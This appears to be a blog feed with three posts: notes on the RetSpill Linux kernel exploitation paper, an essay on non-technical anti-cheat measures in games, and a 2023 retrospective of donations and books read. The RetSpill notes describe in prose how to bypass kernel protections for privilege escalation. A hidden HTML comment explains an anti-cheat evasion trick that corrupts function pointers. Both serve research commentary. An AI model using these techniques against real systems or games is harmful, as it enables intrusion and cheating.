<li>Authors: <a href="https://kylebot.net/">Kyle "kylebot" Zeng</a>,
<a href="https://ruoyuwang.me/">Ruoyu Wang</a>,
<a href="https://yancomm.net/">Yan Shoshitaishvili</a>,
and <a href="https://adamdoupe.com/">Adam Doupé</a> from <a href="https://shellphish.net/">Shellphish</a>,
along with <a href="https://zplin.me/">Zhenpeng Lin</a>,
<a href="https://www-users.cse.umn.edu/~kjlu/">Kangjie Lu</a>,
<a href="http://xinyuxing.org/">Xinyu Xing</a> and
<a href="https://www.tiffanybao.com/">Tiffany Bao</a>.</li>
</ul>
<p>The idea of the paper is to use user-controlled …</p><ul>
<li>Full title: RetSpill: Igniting User-Controlled Data to Burn Away Linux Kernel Protections</li>
<li>PDF: <a href="https://dl.acm.org/doi/10.1145/3576915.3623220">ACM</a> —
<a href="https://kylebot.net/papers/retspill.pdf">mirror</a> —
<a href="https://dustri.org/b/files/papers/retspill.pdf">local mirror</a></li>
<li>Authors: <a href="https://kylebot.net/">Kyle "kylebot" Zeng</a>,
<a href="https://ruoyuwang.me/">Ruoyu Wang</a>,
<a href="https://yancomm.net/">Yan Shoshitaishvili</a>,
and <a href="https://adamdoupe.com/">Adam Doupé</a> from <a href="https://shellphish.net/">Shellphish</a>,
along with <a href="https://zplin.me/">Zhenpeng Lin</a>,
<a href="https://www-users.cse.umn.edu/~kjlu/">Kangjie Lu</a>,
<a href="http://xinyuxing.org/">Xinyu Xing</a> and
<a href="https://www.tiffanybao.com/">Tiffany Bao</a>.</li>
</ul>
<p>The idea of the paper is to use user-controlled data that are by design copied
in kernel-land when exercising syscalls to store a <a href="https://en.wikipedia.org/wiki/Return-oriented_programming">ROP</a>-chain, via 4 main venues:</p>
<ul>
<li>Valid Data directly copied onto the kernel stack for performance reasons, like when
calling <code>poll</code>;</li>
<li>Preserved Registers, restored upon returning from kernel-land to
userland. </li>
<li>Calling Convention compliant functions will save/restore registers, and
apparently, system call handlers are calling convention compliant
even though the kernel is already taking care of those,
and syscalls can <a href="https://www.kernel.org/doc/html/latest/process/adding-syscalls.html?highlight=syscall_define#do-not-call-system-calls-in-the-kernel">only be called from userland</a>.
But even if the syscalls handles weren't compliant, registers still contain
userland values when they're called, and sub-functions might store/restore
those registers, since those do need to be compliant.</li>
<li>Uninitialized Memory, since the per-thread kernel stack is reused between syscalls,
and not erased (unless <code>PAX_MEMORY_STACKLEAK</code> is used).</li>
</ul>
<p>Then, only a <a href="https://en.wikipedia.org/wiki/KASLR">KASLR</a> leak,
a CFHP (control-flow hijacking primitive)
and a <code>add rsp, X; ret</code>-like gadget are required to <a href="https://www.youtube.com/watch?v=FoUWHfh733Y">ROP all the things</a>.
Nowadays, most™ CFHP are created by corrupting the heap to hijack function
pointers, and since every kernel thread shares the same heap,
once it is is properly shaped, the control flow hijacking primitive can likely
be triggered again and again from a different threads.
Moreover, changing the exploit is simply a matter of re-invoking a syscall with
different data spill, instead of having to reshape the heap every single time.
One doesn't have to worry about crashes (enabling lame bruteforcing), since no
major Linux distributions (except CentOS, kudos) has <code>panic_on_oops</code> enabled,
so having a ROP-chain crash is no big deal, because the CFHP is still on the
heap, one syscall away.</p>
<p>Since the space afforded to store gadgets might be too small, one trick is to
invoke <code>do_task_dead</code> at the end of every ROP-chain to terminate it gracefully,
and trigger the CFHP again and again.</p>
<p>Mitigation-wise: </p>
<ul>
<li><a href="https://en.wikipedia.org/wiki/Control_register#SMEP">SMEP</a>,
<a href="https://en.wikipedia.org/wiki/Supervisor_Mode_Access_Prevention">SMAP</a> and
<a href="https://en.wikipedia.org/wiki/Kernel_page-table_isolation">KPTI</a> are irrelevant.</li>
<li><a href="https://pax.grsecurity.net/docs/randkstack.txt">RANDKSTACK</a> mitigates data spillage from Preserved Registers and Uninitialized Memory,
but since it only provides 5 bits of randomness, a <code>ret</code>-sled is enough
to bypass it (25.44% of the time if using gadgets from Preserved Registers or Uninitialized Memory, 100% otherwise),
and in the absence of <code>panic_on_oops</code> it can quickly be bruteforced anyway.</li>
<li><a href="https://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options#Sanitize_kernel_stack">STACKLEAK</a>,
<a href="https://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options#Forcibly_initialize_local_variables_copied_to_userland">STRUCTLEAK</a>,
and <a href="https://lwn.net/Articles/823152/">CONFIG_INIT_STACK_*</a>
only mitigate data spillage from Uninitialized Memory.</li>
<li><a href="https://lwn.net/Articles/824307/">FG-KASLR</a> is <a href="https://lkmidas.github.io/posts/20210205-linux-kernel-pwn-part-3/#gathering-useful-gadgets">useless</a>
since it doesn't randomize everything, leaving a couple (<code>42631</code> according to
the paper) of gadgets at position-invariant positions, which are enough to perform
arbitrary-reads and derandomize everything.</li>
<li><a href="https://lore.kernel.org/lkml/202210010918.4918F847C4@keescook/T/#u">KCFI</a>
and <a href="https://www.intel.com/content/www/us/en/developer/articles/technical/technical-look-control-flow-enforcement-technology.html">IBT</a>
also (currently) don't cover everything, but don't really matter much here
anyway, since we only care about backward-edges, and as for the CFHP:</li>
<li>There <a href="https://i.blackhat.com/USA-22/Wednesday/US-22-Jin-Monitoring-Surveillance-Vendors.pdf#page=35">are ways</a>
to obtain one in the presence of perfect forward-edge CFI with a heap corruption.</li>
<li>Using <code>__x86_indirect_thunk_rdi</code> allows to transform a forward-edge control-flow transition to backward edge one.</li>
<li>Shadow stack and perfect CFI are a pipe dream that would mitigate RetSpill,
but <a href="https://pax.grsecurity.net/docs/PaXTeam-H2HC15-RAP-RIP-ROP.pdf">PaX' RAP</a>
is really close to it, likely making it insanely hard, with its type-based
CFI, and its changing-on-every-syscall/task/… register-stored cookie paired
with unreadable kernel stacks for backward edge, on top of CFI.</li>
</ul>
<p>To showcase how cool all of this is, the paper comes with a semi-automated tool
outputting the address of a stack-shifting gadget, a function to performs data
spillage, invoke the triggering system call, and yield a root shell via a
classic <code>commit_creds(init_cred)</code> + returning back to user space. It works by:</p>
<ul>
<li>taking full snapshots of a vm to locate the syscall leading to CFHP by using
a binary-search-like heuristic;</li>
<li>mutating userland inputs (registers, <code>copy\_from\_user</code>/<code>get\_user</code>
parameters, …), continuing the execution of the vm,
marking the as user-controllable data if the CFHP still
happens after modifications, and doing taint analysis to find how to modify
them.</li>
<li>generating a ROP-chain, which isn't that easy, given that:</li>
<li>it's done over discrete controlled regions</li>
<li>there are some constraints, like "<code>eax</code> contains the syscall number",
or "<code>edx</code> comes from both <em>Saved Registers</em> and <em>Calling Convention</em>
spillages.</li>
</ul>
<p>Of course, given that some authors are <a href="https://angr.io/">angr</a> developers,
<a href="https://github.com/angr/angrop">angrop</a> was used to knit the ROP-chains, and
the results are pretty impressive:</p>
<blockquote>
<p>The abundance of data spillage allows 20 out of 22 proof-of-concept programs
that manifest CFHP to be semi-automatically turned into full privilege escalation exploits.</p>
</blockquote>
<p>To kill this technique, the authors suggest:</p>
<ol>
<li><em>Preserved Register</em>: <code>RANDKSTACK</code> helps, but storing userspace registers
somewhere else than on the stack would be even better, eg. in <code>task_struct</code>.</li>
<li><em>Uninitialized Memory</em>: enable <code>STACKLEAK</code>/<code>STRUCTLEAK</code>/<code>CONFIG\_INIT\_STACK\_\*</code>,
but the performances impact is pretty steep.</li>
<li><em>Calling Convention</em> and <em>Valid Data</em>: an improved version of <code>RANDKSTACK</code>,
adding a random offset at the bottom of each stack frame, between <code>rsp</code> and user data.
This technique also mitigates Preserved Registers and Uninitialized Memory,
with an average performance overhead of 0.61%.</li>
</ol>
<p>Like all good papers it comes <a href="https://github.com/sefcom/RetSpill">with code</a>.</p>
<p>Amusingly:</p>
<ul>
<li>RetSpill completely bypasses OpenBSD's
<a href="https://isopenbsdsecu.re/mitigations/map_stack/">MAP_STACK</a> mitigation,
should it ever be implemented in kernel-land, </li>
<li>The <a href="https://org.anize.rs/">Organizers</a> CTF team
<a href="https://org.anize.rs/0CTF-2021-finals/pwn/kernote">used</a>
the <a href="https://elixir.bootlin.com/linux/latest/ident/pt_regs"><code>ptregs</code></a> structure
to store their ROP chain for <a href="https://ctftime.org/event/1357">0CTF/TCTF 2021
Finals</a>'s
<a href="https://ctftime.org/task/17461">Kernote</a> pwn challenge.</li>
</ul>On non-technical video-games cheat mitigations2024-01-12T20:15:00+01:002024-01-12T20:15:00+01:00jvoisintag:dustri.org,2024-01-12:/b/on-non-technical-video-games-cheat-mitigations.html<p>Cheats are as old as video games, and will be there as long. There
are a couple of high-profile players in the anti-cheat market today:
<a href="https://en.wikipedia.org/wiki/BattlEye">BattlEye</a>,
<a href="https://en.wikipedia.org/wiki/Valve_Anti-Cheat">Valve's VAC</a>,
<a href="https://en.wikipedia.org/wiki/PunkBuster">PunkBuster</a>,
<a href="https://easy.ac/en-us/">Epic's EAC</a>,
<a href="https://wowpedia.fandom.com/wiki/Warden_(software)">Blizzard's Warden</a>,
<a href="https://support-valorant.riotgames.com/hc/en-us/articles/360046160933-What-is-Vanguard-">Riot's Vanguard</a>,
<a href="https://callofduty.com/en/warzone/ricochet">Activision's Ricochet</a>,
… as well as in-house ones.</p>
<p>To try to keep up in the race …</p><p>Cheats are as old as video games, and will be there as long. There
are a couple of high-profile players in the anti-cheat market today:
<a href="https://en.wikipedia.org/wiki/BattlEye">BattlEye</a>,
<a href="https://en.wikipedia.org/wiki/Valve_Anti-Cheat">Valve's VAC</a>,
<a href="https://en.wikipedia.org/wiki/PunkBuster">PunkBuster</a>,
<a href="https://easy.ac/en-us/">Epic's EAC</a>,
<a href="https://wowpedia.fandom.com/wiki/Warden_(software)">Blizzard's Warden</a>,
<a href="https://support-valorant.riotgames.com/hc/en-us/articles/360046160933-What-is-Vanguard-">Riot's Vanguard</a>,
<a href="https://callofduty.com/en/warzone/ricochet">Activision's Ricochet</a>,
… as well as in-house ones.</p>
<p>To try to keep up in the race, both sides are resorting to more and more invasive
technical privacy-invasive measures: streaming virtualised shellcodes,
hardware fingerprinting and locking,
<a href="https://secret.club/2020/01/05/battleye-stack-walking.html">stack-walking</a>,
bootkit-like kernel drivers,
<a href="https://en.wikipedia.org/wiki/Trusted_Platform_Module">TPM</a>/
secure boot/
<a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/bringup/device-guard-and-credential-guard">HVCI</a>/
<a href="https://en.wikipedia.org/wiki/Input%E2%80%93output_memory_management_unit">IOMMU</a>/
<a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">VBS</a>/…
<a href="https://support-valorant.riotgames.com/hc/en-us/articles/22291331362067-Vanguard-Restrictions">shenanigans</a>,
hypervisors <a href="https://secret.club/2020/04/13/how-anti-cheats-detect-system-emulation.html">detection</a>/usage,
<a href="https://secret.club/2020/03/31/battleye-developer-tracking.html">exfiltration of suspicious materials</a>,
external <a href="https://en.wikipedia.org/wiki/Direct_memory_access">DMA</a> hardware,
or other <a href="https://dustri.org/b/paper-notes-reversing-anti-cheats-detection-generation-cycle-with-configurable-hallucinations.html">more exotic things</a>.</p>
<p>Yet anti-cheats are still routinely bypassed, less in a public manner, granted, but private
and closed-community cheats are still flourishing, since it's a losing game by
nature. And since games and anti-cheats are software, they're of course riddled
with <a href="https://vice.com/en/article/d7y5wj/street-fighter-v-rootkit">hilarious</a> bugs leading to
<a href="https://unknowncheats.me/forum/anti-cheat-bypass/614682-eac-dll-loading-method-eac-forcer.html">stupid</a>
<a href="https://unknowncheats.me/forum/anti-cheat-bypass/503052-easy-anti-cheat-kernel-packet-fucker.html">bypasses</a>.</p>
<p>But this isn't what this blogpost is about. Nowadays, cheats are considered as
part of a larger problem: abuses and toxicity. Cheats aren't (only) hunted down
because they're morally questionable, but because they disturb the way the game is meant to be
enjoyed. Toxic and abusive behaviours lead to the very same results:
A game that isn't fun to play because of cheating/abuse/toxicity issues will see its
players number decrease, have poor reviews, … and won't make money. I'm sure
there is a parallel to be made about the current state of our society, but I
digress.</p>
<p>For this article, we'll consider cheating and abuse/toxicity
as a single issue under the term <em>abuse</em>.
Now, because abuse isn't a purely technical issue, but also a social one, it
can't be solved by technical solutions only, so let's have
a look at what non-technical mitigations game developers are
coming up with to curb this issue.</p>
<p>The most obvious mitigation is to make cheating expensive, money wise.
Having to pay 60EUR for a game is a steep investment, especially if one
has to buy it again every time they get banned. This of course doesn't
apply for free-to-play games, but can be emulated by having a cosmetics
ecosystem, either to pay for, or to grind. The other expensive thing when
playing video games is the hardware, and bans can be tied to it.</p>
<h2>Global measures</h2>
<p>The <em>big</em> mitigation at this level is reputation systems. They're based on
people who know best how a fun and fair game should go: players. After a
match, they're encouraged to cast votes on how fair it was, on a match level,
but also directly at players level: "Bob was really looking out for others",
"Bob was a team player", and so on. For negative behaviour, reports don't have
to wait the end of the match, players can report
cheating, being offensive in the text/voice chat, <a href="https://en.wikipedia.org/wiki/Griefer">griefing</a>,
queue dodging, <a href="https://www.urbandictionary.com/define.php?term=smurfing">smurfing</a>, …
Of course, slanderous reports are penalised.</p>
<p>Peer pressure is a good lever too, by taking action not only against cheaters,
but from people benefiting from the cheat, like regular teammates.</p>
<p><a href="https://en.wikipedia.org/wiki/Bug_bounty_program">Bug bounty programs</a> are now commonplace,
so it's only logical that there are now <a href="https://hackerone.com/riot">some</a>
rewarding anti-cheat bypasses/exploits. The rewards are a bit cheap for now,
but will likely rise up as the programs mature. The positive effects are
multiples:</p>
<ol>
<li>It increases the incentives to report issues to get them fixed: a player
finding a glitch/exploit can now get some cash for the discovery</li>
<li>As more abuse vectors are killed, the reward prices will rise, and it might
become more profitable to report bugs than to sell them to cheat providers.
This isn't unheard of, with <a href="https://google.github.io/security-research/kernelctf/rules.html">Google's
kernelCTF</a>
paying two times more than Zerodium.</li>
<li>If the bug bounty program is correctly managed, the probability of getting a
given amount of money for reporting an issue will be higher than using it in
a cheat for an unknown period of time until it gets fixed.</li>
<li>It will likely increase the amount of people looking for issues and willing
to report them.</li>
</ol>
<p>Community managers can also regularly <s>spread <a href="https://en.wikipedia.org/wiki/Fear,_uncertainty,_and_doubt">FUD</a></s>
post updates about ban waves, anti-cheat measures, reports, … to make it
clear that abusive behaviours are something being taken care of,
and a dangerous gamble for players to take part in. I think
I have seen some people spending time proving that some cheaters streaming live
were in fact recycled pre-recorded footage from an earlier version of game,
because some of the game details have been updated in the meantime.</p>
<h2>Accounts-level measures</h2>
<p>Some game stores, like <a href="https://en.wikipedia.org/wiki/Steam_(service)">Steam</a>,
have an account-level "cheater" mark, meaning that if someone gets banned from a game for cheating,
other games can know about it. But more importantly,
<a href="https://en.wikipedia.org/wiki/Achievement_(video_games)">achievements</a>
and cosmetics are also tied to an account, and as mentioned previously,
those are non-zero time and/or money investments. Getting banned means losing
them. This of course only deters opportunistic cheaters,
as people can simply create other accounts to cheat, but this can be made
harder via purely technical means.</p>
<p>Most <em>competitive</em> online games have ranked and casual game modes, with the
former being only accessible after having spent a certain amount of time in the
latter one. Meaning that one has to do it again every time they get banned,
or <a href="https://en.wikipedia.org/wiki/Boosting_(video_games)">pay someone to do it</a>.
Some studios are even making player go through more hoops to be able to play, like requiring
<a href="https://en.wikipedia.org/wiki/Multi-factor_authentication">MFA</a>,
or playing a couple of matches against <a href="https://en.wikipedia.org/wiki/Video_game_bot">bots</a>
branded as a tutorial, before being able to play with other people. There is a
course a fine balance to keep to annoy abusers but not legitimate players.</p>
<h2>Player-level measures</h2>
<p>The goal of non-technical measures isn't to make it impossible to be abusive,
but to make it not worth it. Moreover, issuing instahwpermabans to <a href="https://en.wikipedia.org/wiki/Edgelord">edgelords</a>
seems a tad heavy-handed, so having a large panel of measures against abuser makes sense:
one might want to allow people to rectify their behaviour, to isolate them to
cool down, and so on. It might include textual warnings, temporary bans, kick
from the current game, chat/voice mute, losing access to ranked play,
reducing the amount of earned experience points, …</p>
<p>Players are abusive for various reasons, but I'd argue that most do because
it's fun. Ruining the fun for them is thus a good way to curb such behaviours.
A simple way to do this is to make them play together, by grouping players
by reputation, or by having servers with technical anti-cheat measures
explicitly disabled. But there are even more creative measures,
like <a href="https://www.callofduty.com/en/blog/2023/11/call-of-duty-ricochet-anti-cheat-modern-warfare-III-progress-report">disabling their parachute</a>,
reducing their damage output to ridiculous levels, taking away their weapons,
<a href="https://www.callofduty.com/blog/2023/06/call-of-duty-ricochet-anti-cheat-season-04-update">making other legitimate players invisible to them</a>,
randomly drop some of their inputs,
<a href="https://dustri.org/b/paper-notes-reversing-anti-cheats-detection-generation-cycle-with-configurable-hallucinations.html">hallucinations</a>, … and
while this costs a bit more engineering time than simply grouping them
together, it has a couple of high-value returns on investment:
- allowing game developers to spend more time collecting data on how cheats are working on a technical level,
- reducing the impact cheaters have on a game make is possible to
significantly defer banning them without impacting other players too much,
making it harder for cheat makers to pinpoint how and why a cheat was
detected.
- it's absolutely hilarious</p>
<h2>Examples</h2>
<h3><a href="https://en.wikipedia.org/wiki/Tom_Clancy's_Rainbow_Six_Siege">Rainbow Six Siege</a></h3>
<ul>
<li>It uses BattlEye, and in end-2022 early 2023 banned around
<a href="https://ubisoft.com/en-us/game/rainbow-six/siege/news-updates/2g7hT2NNuOqrj35RfgsFxN/anticheat-status-update-march-2023">5000</a>
accounts per month, which is a lot, but also shows that it doesn't deter
cheaters.</li>
<li>The game costs <a href="https://store.steampowered.com/app/359550/Tom_Clancys_Rainbow_Six_Siege/">$8</a>,
but if you want to have access to all the operators, it's $70. One can also
unlock operators by playing, which takes several hundreds of hours.</li>
<li>To play ranked, one need to reach <a href="https://ubisoft.com/en-gb/game/rainbow-six/siege/news-updates/4hShcX2HZTG2ttIi3IIN9Y/matchmaking-rating">level 50</a>,
which takes around 50h, give or takes.</li>
<li>The game has a rich ecosystem of cosmetics
than can be <a href="https://store.ubisoft.com/us/dlc-type-skins-cosmetics">purchased for steep prices</a>,
and painstakingly earned by playing,
that would be lost in cast of an account ban.</li>
<li>Friendly fire will result in the damages being applied to the shoot
should it be reported as voluntary by the player at the receiving end.</li>
<li>It's developing a pretty involved <a href="https://ubisoft.com/en-gb/game/rainbow-six/siege/news-updates/22JLMFeayzuamhb7YKbAjm/reputation-system-activation-more">reputation system</a>,
where people with a "positive" behaviour gets rewarded (more experience
points, cosmetics, …), while those with a "negative" one
might be prevented from playing <em>ranked</em>,
get less experience points,
…</li>
</ul>
<h3><a href="https://en.wikipedia.org/wiki/Call_of_Duty:_Modern_Warfare_II_(2022_video_game)">Call of Duty: Modern Warfare II</a>:</h3>
<ul>
<li>The game costs <a href="https://store.steampowered.com/app/1962660/Call_of_Duty_Modern_Warfare_II/">$70</a>.</li>
<li><a href="https://callofduty.com/blog/2023/02/call-of-duty-modern-warfare-II-ranked-play-features-challenges-rewards">"Players must be at least Level 16 to access Ranked Play"</a>,
but this can be done in a couple of hours.</li>
<li>Cheating results in account-wise permaban across all Call of Duty titles.</li>
<li>Banned accounts have their records purged from leaderboards.</li>
<li>Players engaging in "negative" behaviours might get
muted on chat/voice, … and interestingly, cheaters
are going to get paired with other cheaters in matchmaking.
<a href="https://support.activision.com/articles/call-of-duty-security-and-enforcement-policy">Players who are often playing with the same cheaters</a> (boosting),
will also get their reputation tanked.</li>
</ul>
<h3><a href="https://playvalorant.com/">Valorant</a></h3>
<p>Its developer even published a
<a href="https://playvalorant.com/en-us/news/tags/game-health-series/">great series of blopost</a> on
what it calls "game health"</p>
<ul>
<li>The game is free-to-play, but comes with <em>a lot</em> of <a href="https://valorantstrike.com/valorant-store/">cosmetics</a>.</li>
<li>Cheaters get a permaban, but people benefiting from them might get a 6 months one as well.</li>
<li>Players joining games and <a href="https://playvalorant.com/en-gb/news/dev/valorant-behavior-detection-and-penalty-updates/">idling to reap out experience points</a>,
doing nothing but kneecapping their team will <a href="https://playvalorant.com/en-us/news/dev/valorant-systems-health-series-afk/">get penalised</a>.</li>
<li>Players are encouraged to report toxic behaviours, and to not engage,
since engagement might be penalized as well</li>
<li>Players using,
<a href="https://support-valorant.riotgames.com/hc/en-us/articles/360044791253-Inappropriate-In-Game-Names">certain words</a>
whether in chat or as username,
will be flagged as toxic.</li>
<li>Penalties come in various size, shapes and durations, allowing to fine tune
according to behaviour: warnings, voice/chat restrictions,
reduction in experience points
gain, reduction in raked rating, increased queue waiting time, ranking game
ban, global ban.</li>
<li>Valorant <a href="https://playvalorant.com/en-us/news/dev/valorant-systems-health-series-smurf-detection/">published</a>
their approach to mitigate smurfing; acknowledging that while having multiple accounts
to smurf/trade/evade bans/… is not desirable, some people are using
them to to play with friends with a better/worse ranked level.
So while they took measures to detect and mitigate having multi-accounts,
they also relaxed the maximum ranks difference for players to play together,
which significantly reduced the number of alt-accounts usage,
but also didn't alter match fairness in a measurable way.</li>
</ul>
<h2>Conclusion</h2>
<p>This is all nice and dandy, but is it working? According to
data from <a href="https://www.ubisoft.com/en-us/game/rainbow-six/siege/player-protection">Rainbow Six Siege</a>:
<a href="https://playvalorant.com/en-us/news/tags/game-health-series/">Valorant</a>,
<a href="https://www.callofduty.com/blog/2023/06/call-of-duty-ricochet-anti-cheat-season-04-update">Call of Duty: Modern Warfare 2</a>,
… those measures are indeed working pretty well,
and are likely providing better results than technical-only
measures. They are also cheaper, since steering people away from toxic
behaviours doesn't reduce the number of players as much as banning them
outright. It's nice to see that the video game industry realised that cheating and
abuses/toxicity could be addressed in similar non-technical ways, and that both
approaches are complementary. This is a stark contrast to other ones,
where techno-solutionism is seen at the only possible remedy, even more so
in our machine-learning-all-the-things era. </p>
<h2>Sources and resources</h2>
<ul>
<li><a href="https://youtube.com/watch?v=hI7V60r7Jco">Anti-Cheat for Multiplayer Games</a></li>
<li><a href="https://secret.club/">Secret Club</a></li>
<li><a href="https://unknowncheats.me/">UnKnoWnCheaTs</a></li>
</ul>
<!--
Steam's VAC was already doing basic stuff, like hashing the entire code region of the game on launch, storing the hash, and then re-hashing the code region every few minutes to see if someone had changed the code, presumably to install a trampoline and hook into the game's functions (to write aimbots, wallhacks, etc). When a hash change is detected, the player is banned.
Cheaters found a way to bypass this by simply finding the function they desired to hook and setting any random function pointer within it to 0 (stored in rw memory, so doesn't trigger the code region hash mentioned above). This would trigger an exception, which the cheat developer would catch with Windows' SEH/VEH, effectively giving them a hook into the function without having to modify the code region.
Activision's anti-cheat would then go through a bunch of function pointers (the ones in network/rendering functions mostly, since that's where you'd want to hook to write cheats) and check for null pointers. If a pointer was null, they'd ban you.
Funny enough, this was incredibly easy to bypass: just set the pointer to 1, or 2, or 3, or ...!! All of these addresses are most likely still invalid and they'll still trigger an exception, even though they're theoretically valid pointers, giving you a de-facto hook into the game that bypassed both VAC and BO2's anticheat, and was pretty much unpatchable. Perhaps that's why they started being annoying and banning people for running IDA, Cheat Engine, etc., which are certainly probable indicators but definitely not hard evidence for cheats.
-->2023 in retrospect2023-12-31T23:59:00+01:002023-12-31T23:59:00+01:00jvoisintag:dustri.org,2023-12-31:/b/2023-in-retrospect.html<p>In 2023, I did, amongst other things:</p>
<ul>
<li>Donated some money:<ul>
<li>$400 to <a href="https://fsfe.org/">FSFE</a></li>
<li>$5000 to <a href="https://noyb.eu">NOYB</a></li>
<li>$5000 to <a href="https://riseup.net">Riseup</a></li>
<li>$5000 to the <a href="https://archive.org">Internet Archive</a></li>
<li>$5000 to the <a href="https://en.wikipedia.org/wiki/Planned_Parenthood">Planned Parenthood Federation of America</a></li>
<li>$1000 to <a href="https://daysforgirls.org">days for girls</a>, on the advice of <a href="https://foreignbystander.com/">chik</a> from <a href="https://darkscience.net">darkscience</a>.</li>
<li>$200 each, as a <a href="https://opensource.googleblog.com/search/label/peer%20bonus">Open Source …</a></li></ul></li></ul><p>In 2023, I did, amongst other things:</p>
<ul>
<li>Donated some money:<ul>
<li>$400 to <a href="https://fsfe.org/">FSFE</a></li>
<li>$5000 to <a href="https://noyb.eu">NOYB</a></li>
<li>$5000 to <a href="https://riseup.net">Riseup</a></li>
<li>$5000 to the <a href="https://archive.org">Internet Archive</a></li>
<li>$5000 to the <a href="https://en.wikipedia.org/wiki/Planned_Parenthood">Planned Parenthood Federation of America</a></li>
<li>$1000 to <a href="https://daysforgirls.org">days for girls</a>, on the advice of <a href="https://foreignbystander.com/">chik</a> from <a href="https://darkscience.net">darkscience</a>.</li>
<li>$200 each, as a <a href="https://opensource.googleblog.com/search/label/peer%20bonus">Open Source Peer Bonus</a>, courtesy of Google, to<ul>
<li><a href="https://github.com/richfelker/">Rich Felker</a> for their work on <a href="https://musl.libc.org">musl</a>.</li>
<li><a href="https://mxxn.io/">Blaž Hrastnik</a> for their work on <a href="https://helix-editor.com">Helix</a>.</li>
<li><a href="https://github.com/justinmk">Justin Keyes</a> for their work on <a href="https://neovim.io">Neovim</a>.</li>
<li><a href="https://github.com/jeanas">Jean Abou-Samra</a> for their work on <a href="https://pygments.org">Pygments</a>.</li>
</ul>
</li>
</ul>
</li>
<li>Read a couple of books:<ul>
<li><a href="https://en.wikipedia.org/wiki/The_Killer_(comics)">Le tueur</a></li>
<li>Some <a href="https://en.wikipedia.org/wiki/Warhammer_40,000">Warhammer 40,000</a>:<ul>
<li><a href="https://wh40k.lexicanum.com/wiki/Sons_of_the_Hydra_(Novel)">Sons of the Hydra</a>, neat.</li>
<li><a href="https://wh40k.lexicanum.com/wiki/Dark_Imperium_(Anthology)">Dark Imperium (Anthology)</a></li>
<li><a href="https://wh40k.lexicanum.com/wiki/Shroud_of_Night_(Novel)">Shroud of Night</a>, forgettable.</li>
<li>The <a href="https://wh40k.lexicanum.com/wiki/Black_Legion_(Novel_Series)">Black Legion</a> duology, solid.</li>
<li><a href="https://wh40k.lexicanum.com/wiki/Renegades:_Harrowmaster_(Novel)">Renegades: Harrowmaster</a>, witty.</li>
<li><a href="https://wh40k.lexicanum.com/wiki/Assassinorum:_Kingmaker_(Novel)">Assassinorum: Kingmaker</a>, decent.</li>
<li><a href="https://wh40k.lexicanum.com/wiki/Night_Lords_(Novel_Series)">Night Lords: The Omnibus</a>, outstanding.</li>
<li><a href="https://wh40k.lexicanum.com/wiki/The_Deacon_of_Wounds_(Novel)">The Deacon of Wounds</a> great writing style.</li>
<li><a href="https://wh40k.lexicanum.com/wiki/Assassinorum:_Execution_Force_(Novel)">Assassinorum: Execution force</a>, forgettable.</li>
<li><a href="https://wh40k.lexicanum.com/wiki/The_Infinite_and_the_Divine_(Novel)">The Infinite and the Divine</a>, highly entertaining.</li>
<li><a href="https://wh40k.lexicanum.com/wiki/The_End_and_the_Death:_Volume_I_(Novel)">The End and the Death vol. 1</a>, a <em>teensy</em> bit over the top.</li>
<li><a href="https://wh40k.lexicanum.com/wiki/The_End_and_the_Death:_Volume_II_(Novel)">The End and the Death vol. 2</a>, almost there, almost there, ...</li>
<li><a href="https://wh40k.lexicanum.com/wiki/The_Macharian_Crusade_(Novel_Series)">The Macharian Crusade Omnibus</a>, a writing style a tad heavy.</li>
<li>The <a href="https://wh40k.lexicanum.com/wiki/Dark_Imperium_(Novel_Series)">Dark Imperium</a> trilogy, nice to see the setting moving forward!</li>
<li>The first 5 tomes of the <a href="https://wh40k.lexicanum.com/wiki/Dawn_of_Fire_(Novel_Series)">Dawn of Fire</a> heptalogy, definitely a series of books.</li>
<li><a href="https://wh40k.lexicanum.com/wiki/The_Lion:_Son_of_the_Forest_(Novel)">The Lion: Son of the Forest</a>, I've seen Dragon Balls episodes with a quicker pace.</li>
<li>Finished the <a href="https://wh40k.lexicanum.com/wiki/The_Beast_Arises_(Novel_Series)">Beast Arises</a>
dodecalogy. The last chapter of the final book deserved a book on its own,
instead of being speedrunned in ~30 pages.</li>
</ul>
</li>
<li><a href="https://en.wikipedia.org/wiki/It%27s_OK_to_Be_Angry_About_Capitalism">It's OK to Be Angry About Capitalism</a></li>
<li><a href="https://nostarch.com/hacks-leaks-and-revelations">Hacks, Leaks, and Revelations</a>: a <a href="https://dustri.org/b/book-review-hacks-leaks-and-revelations.html">reference</a></li>
<li><a href="https://direct.mit.edu/books/book/3008/Beyond-ChoicesThe-Design-of-Ethical-Gameplay">Beyond choices: The design of ethical gameplay</a></li>
<li><a href="https://editions-ixe.fr/catalogue/non-le-masculin-ne-lemporte-pas-sur-le-feminin-ned/">Non, le masculin ne l’emporte pas sur le féminin !</a></li>
<li><a href="https://en.wikipedia.org/wiki/This_Changes_Everything_(book)">This Changes Everything: Capitalism vs. the Climate</a></li>
<li><a href="https://www.goodreads.com/en/book/show/51176626">Break 'em Up: Recovering Our Freedom from Big Ag, Big Tech, and Big Money</a>.</li>
<li><a href="https://aosabook.org/en/buy.html">The Performance of Open Source Applications</a>: contains some really nice tidbits.</li>
<li><a href="https://aosabook.org/en/">The Architecture of Open Source Applications, Part 1.</a>: computers were a mistake.</li>
<li><a href="https://nostarch.com/kill-it-fire">Kill It with Fire: Manage Aging Computer Systems (and Future Proof Modern Ones)</a></li>
<li><a href="https://goodreads.com/book/show/38212110-technically-wrong">Technically Wrong: Sexist Apps, Biased Algorithms, and Other Threats of Toxic Tech</a></li>
<li><a href="https://nostarch.com/locksport">Locksport - A Hacker’s Guide to Lockpicking, Impressioning, and Safe Cracking</a>: <a href="https://dustri.org/b/book-review-locksport-a-hackers-guide-to-lockpicking-impressioning-and-safe-cracking.html">great</a></li>
<li><a href="https://freakyclown.com/publications">How I Rob Banks (and other such places)</a>, written in an unbearably cocky style, mildly entertaining.</li>
<li><a href="https://samleecole.com">How Sex Changed the Internet and the Internet Changed Sex: An Unexpected History</a>, a bit too shallow for my taste.</li>
<li><a href="https://toddrose.com/endofaverage">The End of Average</a>, great book, except the part where the author argues that the goal of schools is to prepare kids for jobs.</li>
<li><a href="https://staffeng.com/book">Staff Engineer: Leadership beyond the management track</a>, I'm not there yet, but it helped me understand some coworker's jobs and struggles.</li>
